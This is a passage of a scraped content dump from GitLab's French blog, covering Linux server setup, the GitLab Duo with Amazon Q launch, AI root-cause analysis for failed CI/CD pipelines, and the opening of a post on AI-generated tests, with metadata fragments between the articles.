des supports différents, dont une sera placée hors site. Enfin, une bonne gestion de serveur Linux requiert une attention particulière aux __mesures de sécurité__. Nous recommandons la mise en place de clés SSH pour les mots de passe, de logiciels pare-feu et de détection des intrusions comme Fail2ban, et d'une authentification à deux facteurs.\n\n## Comment installer un serveur Linux ?\n\nProlongeons ce guide d'introduction sur une note plus pratique. Voici un tutoriel sur le serveur Linux qui vous accompagnera dans l'installation de ce logiciel en entreprise. Suivez les principales étapes pour installer un serveur Linux :\n\n1. Choisissez une __distribution Linux__ adaptée. Optez par exemple pour Ubuntu Server, connu pour sa facilité d'utilisation, ou Debian, réputé pour sa robustesse.\n2. Créez une __ISO bootable__ de la distribution Linux. Téléchargez-la sur le site officiel et placez-la sur une clé USB pour lancer l'installation sur le serveur.\n3. __Installez Linux__ à partir de la clé USB. Procédez à la configuration de base, à la partition du disque, à la configuration de l'utilisateur, au redémarrage et la première connexion.\n4. __Effectuez la configuration initiale__ du serveur Linux : sécurisez l’accès par SSH, créez un utilisateur non-root, configurez le pare-feu et mettez à jour le système.\n5. __Configurez le réseau.__ Choisissez une IP statique ou dynamique, configurez les DNS et la redirection des ports.\n\nEnfin, pour terminer l'installation du serveur Linux, veillez à parfaire la sécurisation du serveur avec installation d'un pare-feu, d'un certificat SSL et d'outils de surveillance du réseau. Une fois ces étapes terminées, votre serveur Linux est prêt à fonctionner. \n\n## Lancez un projet avec GitLab et Linux\n\nSi Linux a toujours dominé le secteur des serveurs d'entreprise, il connaît aussi un regain de popularité du côté du grand public. Au succès relatif des distributions adaptées aux utilisateurs sur PC, telles que Linux Mint et Ubuntu, s'ajoute l'essor des systèmes d'exploitation Android et Chrome OS pour mobiles et tablettes, qui sont basés sur le noyau Linux. Investir dans des applications fonctionnant sous Linux apparaît comme une stratégie gagnante à long terme, tant le succès de ce logiciel ne se dément pas.\n\nGitLab et Linux offrent un environnement idéal pour développer vos activités de façon agile et profiter de tous nos outils de collaboration. La plateforme GitLab prend en charge de nombreux paquets Linux officiels, tels que Debian, Ubuntu, AlmaLinux et CentOS 7. Rendez-vous sur notre page d'information pour [installer GitLab avec un serveur Linux](https://about.gitlab.com/fr-fr/install/#official-linux-package \"Installer GitLab avec un serveur Linux\") et mener à bien votre projet.\n\n## Installer une distribution Linux avec GitLab\n\n- [Paquet Ubuntu](https://about.gitlab.com/fr-fr/install/#ubuntu \"Paquet Ubuntu\")\n- [Paquet Debian](https://about.gitlab.com/fr-fr/install/#debian \"Paquet Debian\")\n- [Paque AlmaLinux](https://about.gitlab.com/fr-fr/install/#almalinux \"Paque AlmaLinux\")\n- [Paquet CentOS 7](https://about.gitlab.com/fr-fr/install/#centos-7 \"Paquet CentOS 7\")\n- [Paquet OpenSUSE Leap](https://about.gitlab.com/fr-fr/install/#opensuse-leap \"Paquet OpenSUSE Leap\")\n- [Paquet Amazon Linux 2](https://about.gitlab.com/fr-fr/install/#amazonlinux-2 \"Paquet Amazon Linux 2\")\n- [Paquet Raspberry Pi](https://about.gitlab.com/fr-fr/install/#raspberry-pi-os \"Paquet Raspberry Pi\")\n",[1420,913],{"slug":2015,"featured":6,"template":683},"introduction-guide-to-linux-servers","content:fr-fr:blog:introduction-guide-to-linux-servers.yml","Introduction Guide To Linux Servers","fr-fr/blog/introduction-guide-to-linux-servers.yml","fr-fr/blog/introduction-guide-to-linux-servers",{"_path":2021,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2022,"content":2027,"config":2033,"_id":2035,"_type":16,"title":2036,"_source":17,"_file":2037,"_stem":2038,"_extension":20},"/fr-fr/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai",{"title":2023,"description":2024,"ogTitle":2023,"ogDescription":2024,"noIndex":6,"ogImage":1142,"ogUrl":2025,"ogSiteName":841,"ogType":842,"canonicalUrls":2025,"schema":2026},"GitLab Duo combiné à Amazon Q : quand le DevSecOps rencontre l’IA agentique","L'intégration d'agents d'IA autonomes dans la plateforme DevSecOps alimentée par l'IA de GitLab accélère la productivité des équipes de développement, la modernisation des applications et l'innovation.","https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo combiné à Amazon Q : quand le DevSecOps rencontre l’IA agentique\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2024-12-03\",\n      }",{"title":2023,"description":2024,"authors":2028,"heroImage":1142,"date":2029,"body":2030,"category":697,"tags":2031,"updatedDate":2032},[1396],"2024-12-03","Nous sommes ravis d'annoncer le lancement de GitLab Duo combiné à Amazon Q, une offre commune qui réunit la plateforme DevSecOps complète alimentée par l'IA de GitLab et les agents d'IA autonomes d'Amazon Q dans une solution unique et intégrée.\n\nGitLab Duo combiné à Amazon Q révolutionne le développement logiciel en intégrant de puissants agents d'IA directement dans vos workflows quotidiens. Au lieu de passer d'un outil à l'autre, les développeurs peuvent désormais accélérer les tâches clés (du développement de fonctionnalités aux revues de code) au sein de la plateforme DevSecOps complète de GitLab. Les agents d'IA d'Amazon Q agissent comme des assistants intelligents qui automatisent les tâches chronophages, telles que la génération de code à partir des conditions requises, la création de tests unitaires, les revues de code et la modernisation des applications Java. En gérant ces tâches complexes, cette offre commune aide les équipes à se concentrer sur l'innovation, tout en respectant les normes strictes de sécurité et de qualité.\n\nCette offre propose une expérience développeur optimisée pour les entreprises, avec les fonctionnalités suivantes :\n* La plateforme GitLab unifiée avec un magasin de données unique, qui automatise la compilation, les tests, l'empaquetage et le déploiement de code sécurisé\n* GitLab Duo combiné à Amazon Q Developer, qui tire parti du contexte des projets GitLab pour générer des modifications dans plusieurs fichiers en fonction des tâches\n* Les agents d'IA Amazon Q intégrés à GitLab Duo, qui mettent à jour les tickets et créent des merge requests par tâche, avec des autorisations limitées au projet\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1033653810?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo and Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Un partenariat innovant entre GitLab et AWS\n\nGitLab Duo combiné à Amazon Q est le fruit d'une collaboration étroite entre les équipes d'ingénierie de GitLab et d'AWS, qui ont uni leurs forces pour transformer le développement logiciel. Ce partenariat associe l'expertise de GitLab en matière de pratique DevSecOps unifiée au leadership d'AWS dans le domaine du cloud computing, pour créer une solution innovante qui comprend la façon de travailler des équipes de développement.\n\nL'intégration des agents autonomes d'Amazon Q à la plateforme complète alimentée par l'IA de GitLab ne se limite pas à une simple intégration technique. Nous proposons une expérience qui rend le développement alimenté par l'IA naturel tout en garantissant la sécurité, la conformité et la fiabilité exigées par les entreprises.\n\nLes analystes du secteur reconnaissent l'importance de cette intégration pour améliorer le développement logiciel alimenté par l'IA :\n\n***« Avec cette offre commune, GitLab et AWS unissent leurs forces pour faire de l'IA agentique une réalité dans le développement logiciel », explique Katie Norton, Research Manager chez IDC. « GitLab Duo combiné à Amazon Q répond à des besoins bien définis et à des défis critiques qui permettent aux clients d'exploiter pleinement le potentiel de l'IA. »***\n\n***« Tant les développeurs que les entreprises pour lesquelles ils travaillent recherchent de plus en plus des expériences simplifiées et unifiées », déclare Rachel Stephens, Senior Analyst chez RedMonk. « Surtout à l'ère de l'IA, où la sécurité et la protection des données sont primordiales, les entreprises veulent exploiter la puissance des technologies de pointe tout en contrôlant les risques et en éliminant les chaînes d'outils logiciels disparates. Le partenariat entre GitLab Duo et Amazon Q offre aux développeurs les outils dont ils ont besoin dans le cadre d'une expérience DevSecOps complète. »***\n\n## 4 avantages clés pour les clients \n\nGitLab Duo combiné à Amazon Q associe l'approche DevSecOps alimentée par l'IA à l'ensemble le plus complet de fonctionnalités de cloud computing et permet aux équipes de développement de :\n\n### 1. Rationaliser le développement de fonctionnalités, de l'idée au code \n\nLes équipes de développement passent souvent de nombreuses heures à traduire les exigences en code, ce qui ralentit la livraison de fonctionnalités et aboutit à un déploiement incohérent. Vous pouvez désormais faire appel à GitLab Duo combiné à Amazon Q en utilisant la nouvelle action rapide `/q dev`, qui convertit en quelques minutes une description de ticket directement en code prêt à être intégré dans une merge request. L'agent analyse les exigences, planifie la mise en œuvre et génère une merge request complète, tout en respectant les normes de développement de votre équipe. Les équipes peuvent itérer rapidement grâce aux retours constructifs fournis dans les commentaires, ce qui réduit considérablement le délai nécessaire pour passer de l'idée à la production.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050110?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Feature Dev with Rev\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 2. Moderniser facilement le code hérité \n\nLa mise à niveau des applications Java nécessite généralement des semaines de planification minutieuse, des modifications manuelles du code et des tests approfondis. L'action rapide `/q transform` change la donne en automatisant l'ensemble du processus de modernisation du code des applications Java. En quelques minutes, et non plus en quelques heures, l'agent analyse votre code base Java 8 ou 11, crée un plan de mise à niveau complet et génère des merge requests entièrement documentées pour la migration vers Java 17. Chaque modification est suivie et traçable, ce qui donne confiance aux équipes tout en améliorant la sécurité et les performances des applications.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050145?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"QCT\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 3. Accélérer les revues de code tout en maintenant la qualité \n\nLes revues de code créent souvent des goulots d'étranglement : les équipes attendent des jours pour obtenir des retours constructifs, mais doivent maintenir des normes cohérentes. Avec l'action rapide `/q review`, vous obtenez des retours instantanés et intelligents sur la qualité et la sécurité du code directement dans les merge requests. En identifiant automatiquement les problèmes potentiels et en suggérant des améliorations en fonction de vos normes, les équipes peuvent maintenir un code de haute qualité tout en réduisant considérablement les cycles de revue de code.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050136?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Code Reviews\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 4. Automatiser les tests pour livrer du code en toute confiance\n\nLa création manuelle de tests prend beaucoup de temps et aboutit souvent à une couverture de test incohérente entre les équipes. Avec l'action rapide `/q test`, vous pouvez générer automatiquement des tests unitaires complets qui comprennent la logique de votre application. L'agent assure une couverture de test de toutes les parties du code les plus critiques et des cas particuliers en s'alignant sur vos modèles de test actuels. Grâce à cette automatisation, les équipes peuvent détecter les problèmes plus tôt et maintenir des normes de qualité cohérentes, ce qui permet aux développeurs de gagner un temps précieux.\n\n\u003Cdiv style=\"padding:54.37% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050181?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Use GitLab Duo with Amazon Q to add tests\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Sécurité et garde-fous de niveau entreprise\n\nConçue pour offrir une mise à l'échelle et une sécurité accrue aux entreprises, cette offre associe la sécurité, la conformité et la confidentialité intégrées de GitLab à l'agent d'IA d'Amazon Q. Elle accélère ainsi les workflows de développement, ce qui permet aux entreprises de livrer des logiciels sécurisés plus rapidement.\n\nElle inclut :\n\n* Des garde-fous intégrés qui maintiennent la vélocité du développement  \n* Des contrôles granulaires pour les fonctionnalités alimentées par l'IA à tous les niveaux : utilisateur, projet et groupe  \n* La sécurité intégrée à chaque étape du développement dans les workflows existants\n\nLes équipes DevSecOps peuvent faire évoluer l'environnement de développement en toute sécurité avec le cloud le plus utilisé au monde.\n\n## Ce qui vous attend\n\nGitLab Duo combiné à Amazon Q s'appuie sur notre intégration existante avec [AWS annoncée en mai 2024](https://press.aboutamazon.com/2024/4/aws-announces-general-availability-of-amazon-q-the-most-capable-generative-ai-powered-assistant-for-accelerating-software-development-and-leveraging-companies-internal-data). Il s'agit d'une étape importante dans notre mission commune de transformation du développement logiciel. Cette intégration plus poussée des fonctionnalités d'IA marque le début de notre collaboration élargie avec AWS. Nous continuerons à faire évoluer ces fonctionnalités en nous concentrant sur les objectifs suivants :\n\n* Extension des fonctionnalités d'IA à l'ensemble du cycle du développement logiciel  \n* Amélioration de la productivité des équipes de développement  \n* Réponse aux exigences de développement des entreprises à grande échelle\n\n**GitLab Duo combiné à Amazon Q est disponible dès aujourd'hui dans une [branche publique](https://gitlab.com/groups/gitlab-org/-/epics/16059) du Projet GitLab.org. Pour bénéficier d'un accès en avant-première et en savoir plus sur la façon dont GitLab et AWS transforment votre processus de développement logiciel, consultez [notre site web](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/).**",[827,700,699,1067,235],"2024-12-06",{"slug":2034,"featured":92,"template":683},"gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai","content:fr-fr:blog:gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai.yml","Gitlab Duo With Amazon Q Devsecops Meets Agentic Ai","fr-fr/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai.yml","fr-fr/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai",{"_path":2040,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2041,"content":2047,"config":2052,"_id":2054,"_type":16,"title":2055,"_source":17,"_file":2056,"_stem":2057,"_extension":20},"/fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai",{"title":2042,"description":2043,"ogTitle":2042,"ogDescription":2043,"noIndex":6,"ogImage":2044,"ogUrl":2045,"ogSiteName":841,"ogType":842,"canonicalUrls":2045,"schema":2046},"Échecs de pipelines CI/CD : comment les corriger rapidement avec l'IA","Découvrez comment l'analyse des causes profondes alimentée par l'IA résout les problèmes d'exécution de pipelines CI/CD de façon plus intelligente et plus rapidement.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097355/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_78Dav6FR9EGjhebHWuBVan_1750097355230.png","https://about.gitlab.com/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Échecs de pipelines CI/CD : comment les corriger rapidement avec l'IA\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2024-12-03\",\n      }",{"title":2042,"description":2043,"authors":2048,"heroImage":2044,"date":2029,"body":2049,"category":697,"tags":2050,"updatedDate":2051},[888],"Les pipelines CI/CD sont essentiels à l'efficacité dans le développement logiciel, car ils aident les équipes à tester, compiler et déployer le code rapidement. Cependant, lorsque ces pipelines échouent, c'est tout le cycle de développement qui se trouve ralenti : les délais ne sont pas respectés et les équipes doivent corriger le code tout en faisant avancer les projets en cours.\n\n![Pipeline CI/CD avec plusieurs jobs en échec](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097362/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097362772.png)\n\n\u003Ccenter>\u003Ci>Pipeline CI/CD avec plusieurs jobs en échec\u003C/i>\u003C/center>\u003Cbr>\u003C/br>\n\n**Mais quelles sont les raisons pour lesquelles les pipelines ne s'exécutent-ils pas ?** Analysons cela ensemble.\n\n## Pourquoi les pipelines CI/CD échouent-ils ? \n\nOn parle d'échec lorsque le workflow automatisé de votre [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/), comprenant généralement des étapes telles que la compilation, les tests et le déploiement du code, ne s'exécute pas comme prévu et génère un message d'erreur. Par conséquent, le code n'est pas correctement compilé, testé ou déployé, ce qui retarde la livraison du logiciel et nécessite d'identifier et de résoudre le problème rencontré. \n\nLes échecs de pipelines CI/CD peuvent survenir pour diverses raisons. Voici les causes les plus fréquentes :\n- __Erreurs de syntaxe :__ une petite erreur dans le code, comme un point-virgule manquant ou un nom de variable incorrect, peut faire échouer le pipeline.\n- __Échec des tests :__ les tests unitaires ou d'intégration peuvent échouer en raison d'un code défectueux, de configurations incorrectes ou de dépendances incompatibles.\n- __Configurations erronées :__ des paramètres incorrects du pipeline ou des configurations d'environnement peuvent provoquer l'échec des compilations ou des déploiements.\n\nD'autres problèmes plus complexes peuvent également s'ajouter comme :\n- Des problèmes d'Infrastructure as Code ([IaC](https://about.gitlab.com/fr-fr/topics/gitops/infrastructure-as-code/)) : des erreurs lors du provisionnement de l'infrastructure cloud, telles que des fautes dans les scripts Terraform ou les templates CloudFormation, peuvent empêcher le déploiement.\n- Les défis que posent Kubernetes et GitOps : des configurations erronées dans les [clusters Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/) ou des problèmes affectant les workflows [GitOps](https://about.gitlab.com/fr-fr/topics/gitops/) (par exemple, la synchronisation de l'état des ressources Kubernetes avec les dépôts [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \")) peuvent causer l'échec des pipelines et rendre difficile le diagnostic.\n- Des traces de piles d'appels longues et désordonnées : lorsqu'une erreur se produit dans les profondeurs du système, les traces de piles d'appels peuvent devenir longues et difficiles à déchiffrer, en particulier lorsqu'elles couvrent plusieurs composants ou services.\n\nCes obstacles compliquent et ralentissent le dépannage, car les équipes de développement doivent souvent passer au crible des logs détaillés et complexes, examiner les fichiers de configuration et tester différentes solutions afin d'identifier la cause profonde.\n\n## Quel est l’impact réel des pipelines en échec ? \n\nEn plus de retarder votre déploiement, un pipeline qui échoue devient une source de stress et de frustration. Les équipes sont obligées d'interrompre leur travail pour s'atteler à la résolution du problème, ce qui multiplie les perturbations. Alors que le respect des délais est compromis, l'équipe est soumise à une pression accrue. Mais pourquoi le dépannage manuel est-il si stressant ?\n\n### Dépannage manuel \n\nLe temps nécessaire pour corriger un pipeline défaillant peut varier en fonction de différents critères, tels que :\n- La connaissance du projet par l’équipe de développement\n- Son expérience avec des problèmes similaires\n- Ses compétences globales en matière de résolution de problèmes\n\nIl est à la fois éprouvant et fastidieux d'analyser manuellement les logs pour comprendre ce qui s'est passé. Les logs proviennent généralement de diverses sources, y compris d'erreurs d'application et de messages système. Ils sont en outre souvent mal structurés et donc difficiles à interpréter. Les équipes doivent alors constamment basculer entre les nombreuses tâches pour corriger le pipeline, ce qui ralentit encore le processus.\n\nAvec [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), les équipes de développement peuvent passer au crible toutes ces données éparpillées et repérer les problèmes beaucoup plus rapidement. Grâce à ce processus simplifié, vous n'avez pas besoin d'une expertise approfondie pour comprendre ce qui s'est passé. Avec l'IA, la réparation de vos pipelines devient plus rapide, plus facile et beaucoup moins stressante.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176104/Blog/zxvvu7p9vc3qpmwl32ya.png\" alt=\"broken pipeline\">\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176108/Blog/bpx6dqilfhltzboyp8k8.png\" alt=\"fix suggestions for broken pipelines\">\n\n## L'analyse des causes profondes de GitLab Duo avec l'IA générative\n\nSi votre pipeline CI/CD échoue, vous n'avez plus besoin de consacrer des heures à le dépanner manuellement. Recourez simplement à l'[analyse des causes profondes (Root Cause Analysis) de GitLab Duo](https://docs.gitlab.com/user/gitlab_duo_chat/examples/#troubleshoot-failed-cicd-jobs-with-root-cause-analysis). Cette fonctionnalité, alimentée par l'IA, identifie rapidement la cause exacte de l'échec de votre pipeline CI/CD et suggère des correctifs, directement au sein de la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab. Peu importe la longueur ou la complexité de vos traces de piles d'appels, la fonctionnalité  d’analyse des causes profondes de GitLab Duo analyse toutes les données en détail, puis vous fournit des informations claires et exploitables.\n\n**Cette fonctionnalité vous indique la cause exacte de l'échec, propose des corrections et identifie même les fichiers et les lignes de code spécifiques qui nécessitent une attention particulière.** Pour vous faciliter encore plus la tâche, il suggère des correctifs de code pour rendre votre pipeline de nouveau fonctionnel. Le dépannage devient ainsi beaucoup plus rapide et plus simple.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176111/Blog/nmagby9hoksskogve53m.png\" alt=\"root cause of failure\">\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176115/Blog/dndis1cedwbmbnj33q3v.png\" alt=\"example fix\">\n\nEn plus de vous apporter des réponses, l'analyse des causes profondes de GitLab Duo vous permet également de poser des questions complémentaires pour en savoir plus sur les raisons de cet échec. Vous souhaitez explorer des solutions alternatives ? Aucun problème. Il vous suffit d'[ajouter du contexte](https://docs.gitlab.com/ee/user/gitlab_duo_chat/index.html#the-context-chat-is-aware-of) à votre requête en faisant référence à d'autres fichiers, tickets ou epics de votre dépôt. Par exemple, vous pouvez ouvrir votre fichier `.gitlab-ci.yml` dans l'IDE et poser la question suivante dans le chat : « Sur la base de ce fichier et du pipeline CI/CD analysé, comment proposeriez-vous d'optimiser le pipeline ? »\n\n## La confidentialité avant tout : vos données restent dans GitLab\nLa fonctionnalité d'analyse des causes profondes de GitLab Duo est prête à l'emploi sur la plateforme, ce qui représente un atout majeur. Vous n'avez pas à basculer vers un autre outil ou à chercher de l'aide extérieure. De plus, vos [logs et vos données sensibles restent sécurisés](https://about.gitlab.com/fr-fr/privacy/), car vous n'avez pas besoin de les envoyer à des solutions d'IA externes. Parfaitement intégrée à la plateforme GitLab, l'analyse des causes profondes de GitLab Duo offre des informations précieuses sans jamais compromettre la confidentialité de vos données.\n\n![pipelines en échec - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097363/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097362773.png)\n\n## Lancez-vous dès aujourd'hui\n\nDécouvrez comment l'IA peut optimiser et accélérer votre processus de développement logiciel. Suivez notre présentation produit de GitLab Duo Enterprise ci-dessous et découvrez comment les informations générées par l'IA à l'aide de GitLab Duo peuvent transformer chaque étape de votre cycle de développement logiciel, de la planification au déploiement, en passant par le codage et le dépannage. Cliquez sur l'image ci-dessous pour lancer la démo !\n\n[![Présentation de GitLab Duo Enterprise](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097363/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-12-02_at_12.41.10_PM_aHR0cHM6_1750097362774.png)](https://gitlab.navattic.com/duo-enterprise)\n\n> [Commencez votre essai gratuit de GitLab Duo dès aujourd'hui !](https://about.gitlab.com/fr-fr/solutions/gitlab-duo-pro/sales/)",[699,1067,1069,675],"2025-02-17",{"slug":2053,"featured":6,"template":683},"quickly-resolve-broken-ci-cd-pipelines-with-ai","content:fr-fr:blog:quickly-resolve-broken-ci-cd-pipelines-with-ai.yml","Quickly Resolve Broken Ci Cd Pipelines With Ai","fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai.yml","fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai",{"_path":2059,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2060,"content":2066,"config":2072,"_id":2074,"_type":16,"title":2075,"_source":17,"_file":2076,"_stem":2077,"_extension":20},"/fr-fr/blog/automating-with-gitlab-duo-part-1-generating-tests",{"title":2061,"description":2062,"ogTitle":2061,"ogDescription":2062,"noIndex":6,"ogImage":2063,"ogUrl":2064,"ogSiteName":841,"ogType":842,"canonicalUrls":2064,"schema":2065},"Automatisation avec GitLab Duo : comment générer des tests (Partie 1)","Découvrez comment nous utilisons GitLab Duo pour générer des tests automatisés et améliorer la rapidité et la qualité de notre développement.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097480/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097480784.png","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-1-generating-tests","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automatisation avec GitLab Duo : comment générer des tests (Partie 1)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-02\",\n      }\n                  ",{"title":2061,"description":2062,"authors":2067,"heroImage":2063,"date":2068,"body":2069,"category":697,"tags":2070,"updatedDate":2071},[1947],"2024-12-02","Très chronophages, les tests automatisés donnent parfois l'impression de ne pas faire avancer le projet. Cependant, comme de nombreux développeurs et développeuses en ont probablement fait l'expérience, les tests automatisés offrent un retour sur investissement globalement positif. Nous l'avons particulièrement constaté lors de la construction d'un module personnalisé que nous appellerons assistant GitLab dans cet article.\n\nNotre développement initial s'est concentré sur la migration de fonctionnalités éprouvées et utilisées à partir de scripts existants vers un nouveau module dont le seul but était de servir de base pour les fonctionnalités futures. Bien que les scripts existants n'aient pas fait l'objet de tests automatisés, leur utilisation systématique a constitué une preuve concrète que la fonctionnalité fonctionnait comme prévu.\n\nNotre objectif était de fournir une solution plus mature à ce problème, et les tests automatisés sont donc devenus une nécessité. La difficulté consistait à construire efficacement tout en équilibrant le temps nécessaire pour tester et garantir la robustesse du produit, et ce, avec un total de trois membres d'équipe. Le goulot d'étranglement n'était donc pas des moindres. C'est pourquoi nous avons décidé de tirer parti de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), notre suite de fonctionnalités alimentées par l'IA, pour la génération de tests afin d'améliorer la rapidité et la qualité du produit livré.\n\nCette série de trois articles sur l'automatisation avec GitLab Duo couvre les points suivants :\n\n1. L'utilisation de GitLab Duo pour générer des tests pour le code \n2. La gestion de situations plus complexes avec GitLab Duo par une approche interactive\n3. Les résultats que nous avons pu obtenir (Spoiler : 1 développeur + GitLab Duo = 84 % de couverture en 2 jours)\n\n## Générer des tests pour le code avec GitLab Duo\n\nBien que les fonctionnalités soient disponibles dans tous les outils, cet article couvrira l'utilisation de GitLab Duo dans VS Code, avec l'[extension GitLab Workflow pour VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) pour générer des tests. Des liens vers d'autres options de GitLab Duo sont disponibles dans les références mentionnées ci-dessous.\n\n### Installez et activez GitLab Duo\n\nComme prérequis à l'utilisation de GitLab Duo, nous nous sommes assurés de disposer d'un accès aux fonctionnalités de GitLab Duo. Si vous ne disposez pas encore de GitLab Duo, vous pouvez [bénéficier d'un essai gratuit](https://about.gitlab.com/fr-fr/solutions/gitlab-duo-pro/sales/?type=free-trial).\n\nPour utiliser GitLab Duo Chat dans VS Code, nous avons suivi les [instructions d'installation](https://docs.gitlab.com/ee/user/gitlab_duo_chat/#use-gitlab-duo-chat-in-vs-code). L'extension GitLab Duo Chat s'est ensuite affichée dans la barre latérale et nous avons pu ouvrir la fenêtre de Chat.\n\n![Fenêtre « Poser une question »](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097489/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097488918.png)\n\n### Générez de tests avec Chat\n\nL'assistant GitLab est un module personnalisé construit pour standardiser l'interaction avec l'API GitLab à toutes les étapes du travail et étend d'autres fonctionnalités de la bibliothèque pour simplifier le développement et le travail de script. Une fois qu'une méthode ou une fonctionnalité a été migrée vers l'assistant GitLab et semble avoir été implémentée de manière appropriée, le processus de génération de tests était simple. Nous avons :\n- Sélectionné la méthode, la classe ou le fichier entier dans l'IDE.\n- Effectué un clic droit sur le code sélectionné.\n- Sélectionné **« Générer des tests »** sous **GitLab Duo Chat**.\n\n![Séquence de génération de tests, y compris le menu déroulant pour générer des tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097489/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097488919.png)\n\nEn quelques secondes, les tests ont été générés et présentés dans la fenêtre de GitLab Duo Chat. Ces tests peuvent être revus et/ou ajoutés au code base, par copier/coller, dans des fichiers de test existants ou nouveaux. Comme c'est le cas avec la plupart des générations actuelles de traitement du langage naturel, en particulier en ce qui concerne le contexte, certains des tests initiaux créés par GitLab Duo ont échoué et ont donc nécessité une mise au point (par exemple, en ce qui concerne les dépendances imbriquées).\n\n> **Conseil :** GitLab Duo ne crée pas automatiquement les fichiers dans lesquels ajouter les tests générés. Nous avons trouvé utile de créer de nouveaux fichiers de tests et d'ajouter un commentaire `# Tests générés par GitLab Duo` en haut et d'y ajouter le suffixe `_duo.py` pour indiquer d'où venaient les tests.\n\nGitLab Duo a fourni un excellent point de départ pour développer les tests automatisés de l'assistant GitLab et a considérablement amélioré la productivité en matière d'écriture de tests et de couverture du code, accélérant ainsi le processus de développement de manière conséquente. Parallèlement à GitLab Duo, de nombreuses itérations de tests utiles ont été introduites dans le module de 